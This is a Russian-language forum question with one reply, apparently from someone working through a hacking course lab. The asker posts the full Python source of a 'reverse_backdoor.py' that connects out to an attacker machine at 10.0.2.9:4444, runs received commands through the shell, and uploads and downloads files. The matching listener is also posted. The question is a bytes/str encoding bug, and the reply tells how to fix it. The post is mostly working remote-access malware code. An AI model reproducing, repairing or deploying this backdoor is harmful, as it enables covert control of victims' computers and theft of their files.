Сложности в реализации функций decode и encode
В общем, при использовании функций decode, encode (без данных функций, невозможно использовать скрипт), на начальном этапе код отрабатывает нормально, до того момента пока я не использую команду cd .. (я могу находиться только там, откуда запущен мой скрипт) :
def reliable_send(self, data):
json_data = json.dumps(data.decode())
self.connection.send(json_data.encode())
Далее когда я использую команду cd .. он падает и выдаёт Traceback (хотя строка одна и та же):
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 15, in reliable_send
json_data = json.dumps(data.encode())
AttributeError: 'bytes' object has no attribute 'encode'. Did you mean: 'decode'?
При замене в скрипте на то что он предлагает и опять же при использовании cd .., скрипт выдаёт:
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 15, in reliable_send
json_data = json.dumps(data.decode())
AttributeError: 'str' object has no attribute 'decode'. Did you mean: 'encode'?
Вот весь код:
#!/usr/bin/env python
import os
import socket
import subprocess
import json
import base64
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data.decode())
self.connection.send(json_data.encode())
def reliable_receive(self):
while True:
try:
json_data = self.connection.recv(1024)
return json.loads(json_data.decode('UTF-8'))
except ValueError:
continue
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def read_file(self, path):
with open(path, 'rb') as file:
return base64.b64encode(file.read())
def write_file(self, path, content):
with open(path, 'wb') as file:
file.write(base64.b64decode(content))
return "[+] Upload successful."
def run(self):
while True:
command = self.reliable_receive()
if command[0] == 'exit':
self.connection.close()
exit()
elif command[0] == 'cd' and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == 'download':
command_result = self.read_file(command[1])
elif command[0] == 'upload':
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
my_backdoor = Backdoor('10.0.2.9', 4444)
my_backdoor.run()
Также не знаю насколько это нужно, но вот сам скрипт, который взаимодействует со скриптом выше:
#!/usr/bin/env python
import socket, json, base64
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print('[+] Waiting for incoming connections')
self.connection, address = listener.accept()
print('[+] Got a connection from ' + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_receive(self):
while True:
try:
json_data = self.connection.recv(1024)
return json.loads(json_data.decode('UTF-8'))
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == 'exit':
self.connection.close()
exit()
return self.reliable_receive()
def write_file(self, path, content):
with open(path, 'wb') as file:
file.write(base64.b64decode(content))
return "[+] Download successful."
def read_file(self, path):
with open(path, 'rb') as file:
return base64.b64encode(file.read())
def run(self):
while True:
command = input('>> ')
command = command.split(' ')
if command[0] == "upload":
file_content = self.read_file(command[1])
command.append(file_content)
result = self.execute_remotely(command)
if command[0] == "download":
result = self.write_file(command[1], result)
print(result)
my_listener = Listener('10.0.2.9', 4444)
my_listener.run()
Ответы (1 шт):
Так тут элементарные ошибки... В json_data = json.dumps(data.encode()) меняйте encode на decode, а в json_data = json.dumps(data.decode()) decode на encode меняйте... У тебя же прямо в ошибке написано, как исправить...